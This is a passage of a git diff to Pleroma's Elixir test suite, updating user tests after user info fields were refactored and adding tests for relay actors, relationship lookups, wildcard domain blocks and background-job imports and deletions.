test "does not yield false-positive matches" do
insert(:user, %{name: "John Doe"})
@@ -193,7 +168,15 @@ defmodule Pleroma.UserSearchTest do
user = User.get_cached_by_ap_id("http://mastodon.example.org/users/admin")
assert length(results) == 1
- assert user == result |> Map.put(:search_rank, nil) |> Map.put(:search_type, nil)
+
+ expected =
+ result
+ |> Map.put(:search_rank, nil)
+ |> Map.put(:search_type, nil)
+ |> Map.put(:last_digest_emailed_at, nil)
+ |> Map.put(:notification_settings, nil)
+
+ assert user == expected
end
test "excludes a blocked users from search result" do
diff --git a/test/user_test.exs b/test/user_test.exs
index 908f72a0e..158f98e66 100644
--- a/test/user_test.exs
+++ b/test/user_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.UserTest do
@@ -7,20 +7,130 @@ defmodule Pleroma.UserTest do
alias Pleroma.Builders.UserBuilder
alias Pleroma.Object
alias Pleroma.Repo
+ alias Pleroma.Tests.ObanHelpers
alias Pleroma.User
alias Pleroma.Web.ActivityPub.ActivityPub
alias Pleroma.Web.CommonAPI
use Pleroma.DataCase
+ use Oban.Testing, repo: Pleroma.Repo
- import Pleroma.Factory
import Mock
+ import Pleroma.Factory
+ import ExUnit.CaptureLog
setup_all do
Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
:ok
end
+ clear_config([:instance, :account_activation_required])
+
+ describe "service actors" do
+ test "returns updated invisible actor" do
+ uri = "#{Pleroma.Web.Endpoint.url()}/relay"
+ followers_uri = "#{uri}/followers"
+
+ insert(
+ :user,
+ %{
+ nickname: "relay",
+ invisible: false,
+ local: true,
+ ap_id: uri,
+ follower_address: followers_uri
+ }
+ )
+
+ actor = User.get_or_create_service_actor_by_ap_id(uri, "relay")
+ assert actor.invisible
+ end
+
+ test "returns relay user" do
+ uri = "#{Pleroma.Web.Endpoint.url()}/relay"
+ followers_uri = "#{uri}/followers"
+
+ assert %User{
+ nickname: "relay",
+ invisible: true,
+ local: true,
+ ap_id: ^uri,
+ follower_address: ^followers_uri
+ } = User.get_or_create_service_actor_by_ap_id(uri, "relay")
+
+ assert capture_log(fn ->
+ refute User.get_or_create_service_actor_by_ap_id("/relay", "relay")
+ end) =~ "Cannot create service actor:"
+ end
+
+ test "returns invisible actor" do
+ uri = "#{Pleroma.Web.Endpoint.url()}/internal/fetch-test"
+ followers_uri = "#{uri}/followers"
+ user = User.get_or_create_service_actor_by_ap_id(uri, "internal.fetch-test")
+
+ assert %User{
+ nickname: "internal.fetch-test",
+ invisible: true,
+ local: true,
+ ap_id: ^uri,
+ follower_address: ^followers_uri
+ } = user
+
+ user2 = User.get_or_create_service_actor_by_ap_id(uri, "internal.fetch-test")
+ assert user.id == user2.id
+ end
+ end
+
+ describe "AP ID user relationships" do
+ setup do
+ {:ok, user: insert(:user)}
+ end
+
+ test "outgoing_relations_ap_ids/1", %{user: user} do
+ rel_types = [:block, :mute, :notification_mute, :reblog_mute, :inverse_subscription]
+
+ ap_ids_by_rel =
+ Enum.into(
+ rel_types,
+ %{},
+ fn rel_type ->
+ rel_records =
+ insert_list(2, :user_relationship, %{source: user, relationship_type: rel_type})
+
+ ap_ids = Enum.map(rel_records, fn rr -> Repo.preload(rr, :target).target.ap_id end)
+ {rel_type, Enum.sort(ap_ids)}
+ end
+ )
+
+ assert ap_ids_by_rel[:block] == Enum.sort(User.blocked_users_ap_ids(user))
+ assert ap_ids_by_rel[:block] == Enum.sort(Enum.map(User.blocked_users(user), & &1.ap_id))
+
+ assert ap_ids_by_rel[:mute] == Enum.sort(User.muted_users_ap_ids(user))
+ assert ap_ids_by_rel[:mute] == Enum.sort(Enum.map(User.muted_users(user), & &1.ap_id))
+
+ assert ap_ids_by_rel[:notification_mute] ==
+ Enum.sort(User.notification_muted_users_ap_ids(user))
+
+ assert ap_ids_by_rel[:notification_mute] ==
+ Enum.sort(Enum.map(User.notification_muted_users(user), & &1.ap_id))
+
+ assert ap_ids_by_rel[:reblog_mute] == Enum.sort(User.reblog_muted_users_ap_ids(user))
+
+ assert ap_ids_by_rel[:reblog_mute] ==
+ Enum.sort(Enum.map(User.reblog_muted_users(user), & &1.ap_id))
+
+ assert ap_ids_by_rel[:inverse_subscription] == Enum.sort(User.subscriber_users_ap_ids(user))
+
+ assert ap_ids_by_rel[:inverse_subscription] ==
+ Enum.sort(Enum.map(User.subscriber_users(user), & &1.ap_id))
+
+ outgoing_relations_ap_ids = User.outgoing_relations_ap_ids(user, rel_types)
+
+ assert ap_ids_by_rel ==
+ Enum.into(outgoing_relations_ap_ids, %{}, fn {k, v} -> {k, Enum.sort(v)} end)
+ end
+ end
+
describe "when tags are nil" do
test "tagging a user" do
user = insert(:user, %{tags: nil})
@@ -64,30 +174,40 @@ defmodule Pleroma.UserTest do
test "returns all pending follow requests" do
unlocked = insert(:user)
- locked = insert(:user, %{info: %{locked: true}})
+ locked = insert(:user, locked: true)
follower = insert(:user)
- Pleroma.Web.TwitterAPI.TwitterAPI.follow(follower, %{"user_id" => unlocked.id})
- Pleroma.Web.TwitterAPI.TwitterAPI.follow(follower, %{"user_id" => locked.id})
+ CommonAPI.follow(follower, unlocked)
+ CommonAPI.follow(follower, locked)
- assert {:ok, []} = User.get_follow_requests(unlocked)
- assert {:ok, [activity]} = User.get_follow_requests(locked)
+ assert [] = User.get_follow_requests(unlocked)
+ assert [activity] = User.get_follow_requests(locked)
assert activity
end
test "doesn't return already accepted or duplicate follow requests" do
- locked = insert(:user, %{info: %{locked: true}})
+ locked = insert(:user, locked: true)
pending_follower = insert(:user)
accepted_follower = insert(:user)
- Pleroma.Web.TwitterAPI.TwitterAPI.follow(pending_follower, %{"user_id" => locked.id})
- Pleroma.Web.TwitterAPI.TwitterAPI.follow(pending_follower, %{"user_id" => locked.id})
- Pleroma.Web.TwitterAPI.TwitterAPI.follow(accepted_follower, %{"user_id" => locked.id})
- User.follow(accepted_follower, locked)
+ CommonAPI.follow(pending_follower, locked)
+ CommonAPI.follow(pending_follower, locked)
+ CommonAPI.follow(accepted_follower, locked)
+ Pleroma.FollowingRelationship.update(accepted_follower, locked, "accept")
- assert {:ok, [activity]} = User.get_follow_requests(locked)
- assert activity
+ assert [^pending_follower] = User.get_follow_requests(locked)
+ end
+
+ test "clears follow requests when requester is blocked" do
+ followed = insert(:user, locked: true)
+ follower = insert(:user)
+
+ CommonAPI.follow(follower, followed)
+ assert [_activity] = User.get_follow_requests(followed)
+
+ {:ok, _user_relationship} = User.block(followed, follower)
+ assert [] = User.get_follow_requests(followed)
end
test "follow_all follows mutliple users" do
@@ -99,8 +219,8 @@ defmodule Pleroma.UserTest do
not_followed = insert(:user)
reverse_blocked = insert(:user)
- {:ok, user} = User.block(user, blocked)
- {:ok, reverse_blocked} = User.block(reverse_blocked, user)
+ {:ok, _user_relationship} = User.block(user, blocked)
+ {:ok, _user_relationship} = User.block(reverse_blocked, user)
{:ok, user} = User.follow(user, followed_zero)
@@ -121,10 +241,10 @@ defmodule Pleroma.UserTest do
followed_two = insert(:user)
{:ok, user} = User.follow_all(user, [followed_zero, followed_one])
- assert length(user.following) == 3
+ assert length(User.following(user)) == 3
{:ok, user} = User.follow_all(user, [followed_one, followed_two])
- assert length(user.following) == 4
+ assert length(User.following(user)) == 4
end
test "follow takes a user and another user" do
@@ -134,16 +254,17 @@ defmodule Pleroma.UserTest do
{:ok, user} = User.follow(user, followed)
user = User.get_cached_by_id(user.id)
-
followed = User.get_cached_by_ap_id(followed.ap_id)
- assert followed.info.follower_count == 1
- assert User.ap_followers(followed) in user.following
+ assert followed.follower_count == 1
+ assert user.following_count == 1
+
+ assert User.ap_followers(followed) in User.following(user)
end
test "can't follow a deactivated users" do
user = insert(:user)
- followed = insert(:user, info: %{deactivated: true})
+ followed = insert(:user, %{deactivated: true})
{:error, _} = User.follow(user, followed)
end
@@ -152,7 +273,7 @@ defmodule Pleroma.UserTest do
blocker = insert(:user)
blockee = insert(:user)
- {:ok, blocker} = User.block(blocker, blockee)
+ {:ok, _user_relationship} = User.block(blocker, blockee)
{:error, _} = User.follow(blockee, blocker)
end
@@ -161,60 +282,86 @@ defmodule Pleroma.UserTest do
blocker = insert(:user)
blocked = insert(:user)
- {:ok, blocker} = User.block(blocker, blocked)
+ {:ok, _user_relationship} = User.block(blocker, blocked)
{:error, _} = User.subscribe(blocked, blocker)
end
test "local users do not automatically follow local locked accounts" do
- follower = insert(:user, info: %{locked: true})
- followed = insert(:user, info: %{locked: true})
+ follower = insert(:user, locked: true)
+ followed = insert(:user, locked: true)
{:ok, follower} = User.maybe_direct_follow(follower, followed)
refute User.following?(follower, followed)
end
- # This is a somewhat useless test.
- # test "following a remote user will ensure a websub subscription is present" do
- # user = insert(:user)
- # {:ok, followed} = OStatus.make_user("shp@social.heldscal.la")
+ describe "unfollow/2" do
+ setup do
+ setting = Pleroma.Config.get([:instance, :external_user_synchronization])
- # assert followed.local == false
+ on_exit(fn ->
+ Pleroma.Config.put([:instance, :external_user_synchronization], setting)
+ end)
- # {:ok, user} = User.follow(user, followed)
- # assert User.ap_followers(followed) in user.following
+ :ok
+ end
- # query = from w in WebsubClientSubscription,
- # where: w.topic == ^followed.info["topic"]
- # websub = Repo.one(query)
+ test "unfollow with syncronizes external user" do
+ Pleroma.Config.put([:instance, :external_user_synchronization], true)
- # assert websub
- # end
+ followed =
+ insert(:user,
+ nickname: "fuser1",
+ follower_address: "http://localhost:4001/users/fuser1/followers",
+ following_address: "http://localhost:4001/users/fuser1/following",
+ ap_id: "http://localhost:4001/users/fuser1"
+ )
- test "unfollow takes a user and another user" do
- followed = insert(:user)
- user = insert(:user, %{following: [User.ap_followers(followed)]})
+ user =
+ insert(:user, %{
+ local: false,
+ nickname: "fuser2",
+ ap_id: "http://localhost:4001/users/fuser2",
+ follower_address: "http://localhost:4001/users/fuser2/followers",
+ following_address: "http://localhost:4001/users/fuser2/following"
+ })
- {:ok, user, _activity} = User.unfollow(user, followed)
+ {:ok, user} = User.follow(user, followed, "accept")
- user = User.get_cached_by_id(user.id)
+ {:ok, user, _activity} = User.unfollow(user, followed)
- assert user.following == []
- end
+ user = User.get_cached_by_id(user.id)
- test "unfollow doesn't unfollow yourself" do
- user = insert(:user)
+ assert User.following(user) == []
+ end
- {:error, _} = User.unfollow(user, user)
+ test "unfollow takes a user and another user" do
+ followed = insert(:user)
+ user = insert(:user)
- user = User.get_cached_by_id(user.id)
- assert user.following == [user.ap_id]
+ {:ok, user} = User.follow(user, followed, "accept")
+
+ assert User.following(user) == [user.follower_address, followed.follower_address]
+
+ {:ok, user, _activity} = User.unfollow(user, followed)
+
+ assert User.following(user) == [user.follower_address]
+ end
+
+ test "unfollow doesn't unfollow yourself" do
+ user = insert(:user)
+
+ {:error, _} = User.unfollow(user, user)
+
+ assert User.following(user) == [user.follower_address]
+ end
end
test "test if a user is following another user" do
followed = insert(:user)
- user = insert(:user, %{following: [User.ap_followers(followed)]})
+ user = insert(:user)
+ User.follow(user, followed, "accept")
assert User.following?(user, followed)
refute User.following?(followed, user)
@@ -236,6 +383,9 @@ defmodule Pleroma.UserTest do
password_confirmation: "test",
email: "email@example.com"
}
+ clear_config([:instance, :autofollowed_nicknames])
+ clear_config([:instance, :welcome_message])
+ clear_config([:instance, :welcome_user_nickname])
test "it autofollows accounts that are set for it" do
user = insert(:user)
@@ -252,8 +402,6 @@ defmodule Pleroma.UserTest do
assert User.following?(registered_user, user)
refute User.following?(registered_user, remote_user)
-
- Pleroma.Config.put([:instance, :autofollowed_nicknames], [])
end
test "it sends a welcome message if it is set" do
@@ -269,9 +417,6 @@ defmodule Pleroma.UserTest do
assert registered_user.ap_id in activity.recipients
assert Object.normalize(activity).data["content"] =~ "cool site"
assert activity.actor == welcome_user.ap_id
-
- Pleroma.Config.put([:instance, :welcome_user_nickname], nil)
- Pleroma.Config.put([:instance, :welcome_message], nil)
end
test "it requires an email, name, nickname and password, bio is optional" do
@@ -299,7 +444,7 @@ defmodule Pleroma.UserTest do
refute changeset.valid?
end
- test "it sets the password_hash, ap_id and following fields" do
+ test "it sets the password_hash and ap_id" do
changeset = User.register_changeset(%User{}, @full_user_data)
assert changeset.valid?
@@ -307,24 +452,8 @@ defmodule Pleroma.UserTest do
assert is_binary(changeset.changes[:password_hash])
assert changeset.changes[:ap_id] == User.ap_id(%User{nickname: @full_user_data.nickname})
- assert changeset.changes[:following] == [
- User.ap_followers(%User{nickname: @full_user_data.nickname})
- ]
-
assert changeset.changes.follower_address == "#{changeset.changes.ap_id}/followers"
end
-
- test "it ensures info is not nil" do
- changeset = User.register_changeset(%User{}, @full_user_data)
-
- assert changeset.valid?
-
- {:ok, user} =
- changeset
- |> Repo.insert()
-
- refute is_nil(user.info)
- end
end
describe "user registration, with :account_activation_required" do
@@ -337,15 +466,8 @@ defmodule Pleroma.UserTest do
email: "email@example.com"
}
- setup do
- setting = Pleroma.Config.get([:instance, :account_activation_required])
-
- unless setting do
- Pleroma.Config.put([:instance, :account_activation_required], true)
- on_exit(fn -> Pleroma.Config.put([:instance, :account_activation_required], setting) end)
- end
-
- :ok
+ clear_config([:instance, :account_activation_required]) do
+ Pleroma.Config.put([:instance, :account_activation_required], true)
end
test "it creates unconfirmed user" do
@@ -354,8 +476,8 @@ defmodule Pleroma.UserTest do
{:ok, user} = Repo.insert(changeset)
- assert user.info.confirmation_pending
- assert user.info.confirmation_token
+ assert user.confirmation_pending
+ assert user.confirmation_token
end
test "it creates confirmed user if :confirmed option is given" do
@@ -364,8 +486,8 @@ defmodule Pleroma.UserTest do
{:ok, user} = Repo.insert(changeset)
- refute user.info.confirmation_pending
- refute user.info.confirmation_token
+ refute user.confirmation_pending
+ refute user.confirmation_token
end
end
@@ -385,8 +507,7 @@ defmodule Pleroma.UserTest do
:user,
local: false,
nickname: "admin@mastodon.example.org",
- ap_id: ap_id,
- info: %{}
+ ap_id: ap_id
)
{:ok, fetched_user} = User.get_or_fetch(ap_id)
@@ -428,11 +549,6 @@ defmodule Pleroma.UserTest do
assert user == fetched_user
end
- test "fetches an external user via ostatus if no user exists" do
- {:ok, fetched_user} = User.get_or_fetch_by_nickname("shp@social.heldscal.la")
- assert fetched_user.nickname == "shp@social.heldscal.la"
- end
-
test "returns nil if no user could be fetched" do
{:error, fetched_user} = User.get_or_fetch_by_nickname("nonexistant@social.heldscal.la")
assert fetched_user == "not found nonexistant@social.heldscal.la"
@@ -452,14 +568,14 @@ defmodule Pleroma.UserTest do
local: false,
nickname: "admin@mastodon.example.org",
ap_id: "http://mastodon.example.org/users/admin",
- last_refreshed_at: a_week_ago,
- info: %{}
+ last_refreshed_at: a_week_ago
)
assert orig_user.last_refreshed_at == a_week_ago
{:ok, user} = User.get_or_fetch_by_ap_id("http://mastodon.example.org/users/admin")
- assert user.info.source_data["endpoints"]
+
+ assert user.source_data["endpoints"]
refute user.last_refreshed_at == orig_user.last_refreshed_at
end
@@ -469,7 +585,7 @@ defmodule Pleroma.UserTest do
user = insert(:user)
assert User.ap_id(user) ==
- Pleroma.Web.Router.Helpers.o_status_url(
+ Pleroma.Web.Router.Helpers.feed_url(
Pleroma.Web.Endpoint,
:feed_redirect,
user.nickname
@@ -480,7 +596,7 @@ defmodule Pleroma.UserTest do
user = insert(:user)
assert User.ap_followers(user) ==
- Pleroma.Web.Router.Helpers.o_status_url(
+ Pleroma.Web.Router.Helpers.feed_url(
Pleroma.Web.Endpoint,
:feed_redirect,
user.nickname
@@ -493,10 +609,12 @@ defmodule Pleroma.UserTest do
name: "Someone",
nickname: "a@b.de",
ap_id: "http...",
- info: %{some: "info"},
avatar: %{some: "avatar"}
}
+ clear_config([:instance, :user_bio_length])
+ clear_config([:instance, :user_name_length])
+
test "it confirms validity" do
cs = User.remote_user_creation(@valid_remote)
assert cs.valid?
@@ -511,7 +629,7 @@ defmodule Pleroma.UserTest do
test "it enforces the fqn format for nicknames" do
cs = User.remote_user_creation(%{@valid_remote | nickname: "bla"})
- assert cs.changes.local == false
+ assert Ecto.Changeset.get_field(cs, :local) == false
assert cs.changes.avatar
refute cs.valid?
end
@@ -523,19 +641,6 @@ defmodule Pleroma.UserTest do
refute cs.valid?
end)
end
-
- test "it restricts some sizes" do
- [bio: 5000, name: 100]
- |> Enum.each(fn {field, size} ->
- string = String.pad_leading(".", size)
- cs = User.remote_user_creation(Map.put(@valid_remote, field, string))
- assert cs.valid?
-
- string = String.pad_leading(".", size + 1)
- cs = User.remote_user_creation(Map.put(@valid_remote, field, string))
- refute cs.valid?
- end)
- end
end
describe "followers and friends" do
@@ -548,7 +653,7 @@ defmodule Pleroma.UserTest do
{:ok, follower_one} = User.follow(follower_one, user)
{:ok, follower_two} = User.follow(follower_two, user)
- {:ok, res} = User.get_followers(user)
+ res = User.get_followers(user)
assert Enum.member?(res, follower_one)
assert Enum.member?(res, follower_two)
@@ -564,7 +669,7 @@ defmodule Pleroma.UserTest do
{:ok, user} = User.follow(user, followed_one)
{:ok, user} = User.follow(user, followed_two)
- {:ok, res} = User.get_friends(user)
+ res = User.get_friends(user)
followed_one = User.get_cached_by_ap_id(followed_one.ap_id)
followed_two = User.get_cached_by_ap_id(followed_two.ap_id)
@@ -575,94 +680,63 @@ defmodule Pleroma.UserTest do
end
describe "updating note and follower count" do
- test "it sets the info->note_count property" do
+ test "it sets the note_count property" do
note = insert(:note)
user = User.get_cached_by_ap_id(note.data["actor"])
- assert user.info.note_count == 0
+ assert user.note_count == 0
{:ok, user} = User.update_note_count(user)
- assert user.info.note_count == 1
+ assert user.note_count == 1
end
- test "it increases the info->note_count property" do
+ test "it increases the note_count property" do
note = insert(:note)
user = User.get_cached_by_ap_id(note.data["actor"])
- assert user.info.note_count == 0
+ assert user.note_count == 0
{:ok, user} = User.increase_note_count(user)
- assert user.info.note_count == 1
+ assert user.note_count == 1
{:ok, user} = User.increase_note_count(user)
- assert user.info.note_count == 2
+ assert user.note_count == 2
end
- test "it decreases the info->note_count property" do
+ test "it decreases the note_count property" do
note = insert(:note)
user = User.get_cached_by_ap_id(note.data["actor"])
- assert user.info.note_count == 0
+ assert user.note_count == 0
{:ok, user} = User.increase_note_count(user)
- assert user.info.note_count == 1
+ assert user.note_count == 1
{:ok, user} = User.decrease_note_count(user)
- assert user.info.note_count == 0
+ assert user.note_count == 0
{:ok, user} = User.decrease_note_count(user)
- assert user.info.note_count == 0
+ assert user.note_count == 0
end
- test "it sets the info->follower_count property" do
+ test "it sets the follower_count property" do
user = insert(:user)
follower = insert(:user)
User.follow(follower, user)
- assert user.info.follower_count == 0
+ assert user.follower_count == 0
{:ok, user} = User.update_follower_count(user)
- assert user.info.follower_count == 1
- end
- end
-
- describe "remove duplicates from following list" do
- test "it removes duplicates" do
- user = insert(:user)
- follower = insert(:user)
-
- {:ok, %User{following: following} = follower} = User.follow(follower, user)
- assert length(following) == 2
-
- {:ok, follower} =
- follower
- |> User.update_changeset(%{following: following ++ following})
- |> Repo.update()
-
- assert length(follower.following) == 4
-
- {:ok, follower} = User.remove_duplicated_following(follower)
- assert length(follower.following) == 2
- end
-
- test "it does nothing when following is uniq" do
- user = insert(:user)
- follower = insert(:user)
-
- {:ok, follower} = User.follow(follower, user)
- assert length(follower.following) == 2
-
- {:ok, follower} = User.remove_duplicated_following(follower)
- assert length(follower.following) == 2
+ assert user.follower_count == 1
end
end
@@ -675,7 +749,9 @@ defmodule Pleroma.UserTest do
user3.nickname
]
- result = User.follow_import(user1, identifiers)
+ {:ok, job} = User.follow_import(user1, identifiers)
+ result = ObanHelpers.perform(job)
+
assert is_list(result)
assert result == [user2, user3]
end
@@ -689,7 +765,7 @@ defmodule Pleroma.UserTest do
refute User.mutes?(user, muted_user)
refute User.muted_notifications?(user, muted_user)
- {:ok, user} = User.mute(user, muted_user)
+ {:ok, _user_relationships} = User.mute(user, muted_user)
assert User.mutes?(user, muted_user)
assert User.muted_notifications?(user, muted_user)
@@ -699,8 +775,8 @@ defmodule Pleroma.UserTest do
user = insert(:user)
muted_user = insert(:user)
- {:ok, user} = User.mute(user, muted_user)
- {:ok, user} = User.unmute(user, muted_user)
+ {:ok, _user_relationships} = User.mute(user, muted_user)
+ {:ok, _user_mute} = User.unmute(user, muted_user)
refute User.mutes?(user, muted_user)
refute User.muted_notifications?(user, muted_user)
@@ -713,7 +789,7 @@ defmodule Pleroma.UserTest do
refute User.mutes?(user, muted_user)
refute User.muted_notifications?(user, muted_user)
- {:ok, user} = User.mute(user, muted_user, false)
+ {:ok, _user_relationships} = User.mute(user, muted_user, false)
assert User.mutes?(user, muted_user)
refute User.muted_notifications?(user, muted_user)
@@ -727,7 +803,7 @@ defmodule Pleroma.UserTest do
refute User.blocks?(user, blocked_user)
- {:ok, user} = User.block(user, blocked_user)
+ {:ok, _user_relationship} = User.block(user, blocked_user)
assert User.blocks?(user, blocked_user)
end
@@ -736,8 +812,8 @@ defmodule Pleroma.UserTest do
user = insert(:user)
blocked_user = insert(:user)
- {:ok, user} = User.block(user, blocked_user)
- {:ok, user} = User.unblock(user, blocked_user)
+ {:ok, _user_relationship} = User.block(user, blocked_user)
+ {:ok, _user_block} = User.unblock(user, blocked_user)
refute User.blocks?(user, blocked_user)
end
@@ -752,7 +828,7 @@ defmodule Pleroma.UserTest do
assert User.following?(blocker, blocked)
assert User.following?(blocked, blocker)
- {:ok, blocker} = User.block(blocker, blocked)
+ {:ok, _user_relationship} = User.block(blocker, blocked)
blocked = User.get_cached_by_id(blocked.id)
assert User.blocks?(blocker, blocked)
@@ -770,7 +846,7 @@ defmodule Pleroma.UserTest do
assert User.following?(blocker, blocked)
refute User.following?(blocked, blocker)
- {:ok, blocker} = User.block(blocker, blocked)
+ {:ok, _user_relationship} = User.block(blocker, blocked)
blocked = User.get_cached_by_id(blocked.id)
assert User.blocks?(blocker, blocked)
@@ -788,7 +864,7 @@ defmodule Pleroma.UserTest do
refute User.following?(blocker, blocked)
assert User.following?(blocked, blocker)
- {:ok, blocker} = User.block(blocker, blocked)
+ {:ok, _user_relationship} = User.block(blocker, blocked)
blocked = User.get_cached_by_id(blocked.id)
assert User.blocks?(blocker, blocked)
@@ -801,12 +877,12 @@ defmodule Pleroma.UserTest do
blocker = insert(:user)
blocked = insert(:user)
- {:ok, blocker} = User.subscribe(blocked, blocker)
+ {:ok, _subscription} = User.subscribe(blocked, blocker)
assert User.subscribed_to?(blocked, blocker)
refute User.subscribed_to?(blocker, blocked)
- {:ok, blocker} = User.block(blocker, blocked)
+ {:ok, _user_relationship} = User.block(blocker, blocked)
assert User.blocks?(blocker, blocked)
refute User.subscribed_to?(blocker, blocked)
@@ -824,6 +900,48 @@ defmodule Pleroma.UserTest do
assert User.blocks?(user, collateral_user)
end
+ test "does not block domain with same end" do
+ user = insert(:user)
+
+ collateral_user =
+ insert(:user, %{ap_id: "https://another-awful-and-rude-instance.com/user/bully"})
+
+ {:ok, user} = User.block_domain(user, "awful-and-rude-instance.com")
+
+ refute User.blocks?(user, collateral_user)
+ end
+
+ test "does not block domain with same end if wildcard added" do
+ user = insert(:user)
+
+ collateral_user =
+ insert(:user, %{ap_id: "https://another-awful-and-rude-instance.com/user/bully"})
+
+ {:ok, user} = User.block_domain(user, "*.awful-and-rude-instance.com")
+
+ refute User.blocks?(user, collateral_user)
+ end
+
+ test "blocks domain with wildcard for subdomain" do
+ user = insert(:user)
+
+ user_from_subdomain =
+ insert(:user, %{ap_id: "https://subdomain.awful-and-rude-instance.com/user/bully"})
+
+ user_with_two_subdomains =
+ insert(:user, %{
+ ap_id: "https://subdomain.second_subdomain.awful-and-rude-instance.com/user/bully"
+ })
+
+ user_domain = insert(:user, %{ap_id: "https://awful-and-rude-instance.com/user/bully"})
+
+ {:ok, user} = User.block_domain(user, "*.awful-and-rude-instance.com")
+
+ assert User.blocks?(user, user_from_subdomain)
+ assert User.blocks?(user, user_with_two_subdomains)
+ assert User.blocks?(user, user_domain)
+ end
+
test "unblocks domains" do
user = insert(:user)
collateral_user = insert(:user, %{ap_id: "https://awful-and-rude-instance.com/user/bully"})
@@ -833,6 +951,16 @@ defmodule Pleroma.UserTest do
refute User.blocks?(user, collateral_user)
end
+
+ test "follows take precedence over domain blocks" do
+ user = insert(:user)
+ good_eggo = insert(:user, %{ap_id: "https://meanies.social/user/cuteposter"})
+
+ {:ok, user} = User.block_domain(user, "meanies.social")
+ {:ok, user} = User.follow(user, good_eggo)
+
+ refute User.blocks?(user, good_eggo)
+ end
end
describe "blocks_import" do
@@ -844,56 +972,81 @@ defmodule Pleroma.UserTest do
user3.nickname
]
- result = User.blocks_import(user1, identifiers)
+ {:ok, job} = User.blocks_import(user1, identifiers)
+ result = ObanHelpers.perform(job)
+
assert is_list(result)
assert result == [user2, user3]
end
end
- test "get recipients from activity" do
- actor = insert(:user)
- user = insert(:user, local: true)
- user_two = insert(:user, local: false)
- addressed = insert(:user, local: true)
- addressed_remote = insert(:user, local: false)
-
- {:ok, activity} =
- CommonAPI.post(actor, %{
- "status" => "hey @#{addressed.nickname} @#{addressed_remote.nickname}"
- })
-
- assert Enum.map([actor, addressed], & &1.ap_id) --
- Enum.map(User.get_recipients_from_activity(activity), & &1.ap_id) == []
-
- {:ok, user} = User.follow(user, actor)
- {:ok, _user_two} = User.follow(user_two, actor)
- recipients = User.get_recipients_from_activity(activity)
- assert length(recipients) == 3
- assert user in recipients
- assert addressed in recipients
+ describe "get_recipients_from_activity" do
+ test "get recipients" do
+ actor = insert(:user)
+ user = insert(:user, local: true)
+ user_two = insert(:user, local: false)
+ addressed = insert(:user, local: true)
+ addressed_remote = insert(:user, local: false)
+
+ {:ok, activity} =
+ CommonAPI.post(actor, %{
+ "status" => "hey @#{addressed.nickname} @#{addressed_remote.nickname}"
+ })
+
+ assert Enum.map([actor, addressed], & &1.ap_id) --
+ Enum.map(User.get_recipients_from_activity(activity), & &1.ap_id) == []
+
+ {:ok, user} = User.follow(user, actor)
+ {:ok, _user_two} = User.follow(user_two, actor)
+ recipients = User.get_recipients_from_activity(activity)
+ assert length(recipients) == 3
+ assert user in recipients
+ assert addressed in recipients
+ end
+
+ test "has following" do
+ actor = insert(:user)
+ user = insert(:user)
+ user_two = insert(:user)
+ addressed = insert(:user, local: true)
+
+ {:ok, activity} =
+ CommonAPI.post(actor, %{
+ "status" => "hey @#{addressed.nickname}"
+ })
+
+ assert Enum.map([actor, addressed], & &1.ap_id) --
+ Enum.map(User.get_recipients_from_activity(activity), & &1.ap_id) == []
+
+ {:ok, _actor} = User.follow(actor, user)
+ {:ok, _actor} = User.follow(actor, user_two)
+ recipients = User.get_recipients_from_activity(activity)
+ assert length(recipients) == 2
+ assert addressed in recipients
+ end
end
describe ".deactivate" do
test "can de-activate then re-activate a user" do
user = insert(:user)
- assert false == user.info.deactivated
+ assert false == user.deactivated
{:ok, user} = User.deactivate(user)
- assert true == user.info.deactivated
+ assert true == user.deactivated
{:ok, user} = User.deactivate(user, false)
- assert false == user.info.deactivated
+ assert false == user.deactivated
end
- test "hide a user from followers " do
+ test "hide a user from followers" do
user = insert(:user)
user2 = insert(:user)
{:ok, user} = User.follow(user, user2)
{:ok, _user} = User.deactivate(user)
- info = User.get_cached_user_info(user2)
+ user2 = User.get_cached_by_id(user2.id)
- assert info.follower_count == 0
- assert {:ok, []} = User.get_followers(user2)
+ assert user2.follower_count == 0
+ assert [] = User.get_followers(user2)
end
test "hide a user from friends" do
@@ -901,15 +1054,17 @@ defmodule Pleroma.UserTest do
user2 = insert(:user)
{:ok, user2} = User.follow(user2, user)
+ assert user2.following_count == 1
assert User.following_count(user2) == 1
{:ok, _user} = User.deactivate(user)
- info = User.get_cached_user_info(user2)
+ user2 = User.get_cached_by_id(user2.id)
- assert info.following_count == 0
+ assert refresh_record(user2).following_count == 0
+ assert user2.following_count == 0
assert User.following_count(user2) == 0
- assert {:ok, []} = User.get_friends(user2)
+ assert [] = User.get_friends(user2)
end
test "hide a user's statuses from timelines and notifications" do
@@ -928,7 +1083,9 @@ defmodule Pleroma.UserTest do
assert [activity] == ActivityPub.fetch_public_activities(%{}) |> Repo.preload(:bookmark)
assert [%{activity | thread_muted?: CommonAPI.thread_muted?(user2, activity)}] ==
- ActivityPub.fetch_activities([user2.ap_id | user2.following], %{"user" => user2})
+ ActivityPub.fetch_activities([user2.ap_id | User.following(user2)], %{
+ "user" => user2
+ })
{:ok, _user} = User.deactivate(user)
@@ -936,7 +1093,9 @@ defmodule Pleroma.UserTest do
assert [] == Pleroma.Notification.for_user(user2)
assert [] ==
- ActivityPub.fetch_activities([user2.ap_id | user2.following], %{"user" => user2})
+ ActivityPub.fetch_activities([user2.ap_id | User.following(user2)], %{
+ "user" => user2
+ })
end
end
@@ -947,15 +1106,26 @@ defmodule Pleroma.UserTest do
[user: user]
end
+ clear_config([:instance, :federating])
+
test ".delete_user_activities deletes all create activities", %{user: user} do
{:ok, activity} = CommonAPI.post(user, %{"status" => "2hu"})
- {:ok, _} = User.delete_user_activities(user)
+ User.delete_user_activities(user)
# TODO: Remove favorites, repeats, delete activities.
refute Activity.get_by_id(activity.id)
end
+ test "it deletes deactivated user" do
+ {:ok, user} = insert(:user, deactivated: true) |> User.set_cache()
+
+ {:ok, job} = User.delete(user)
+ {:ok, _user} = ObanHelpers.perform(job)
+
+ refute User.get_by_id(user.id)
+ end
+
test "it deletes a user, all follow relationships and all activities", %{user: user} do
follower = insert(:user)
{:ok, follower} = User.follow(follower, user)
@@ -970,7 +1140,8 @@ defmodule Pleroma.UserTest do
{:ok, like_two, _} = CommonAPI.favorite(activity.id, follower)
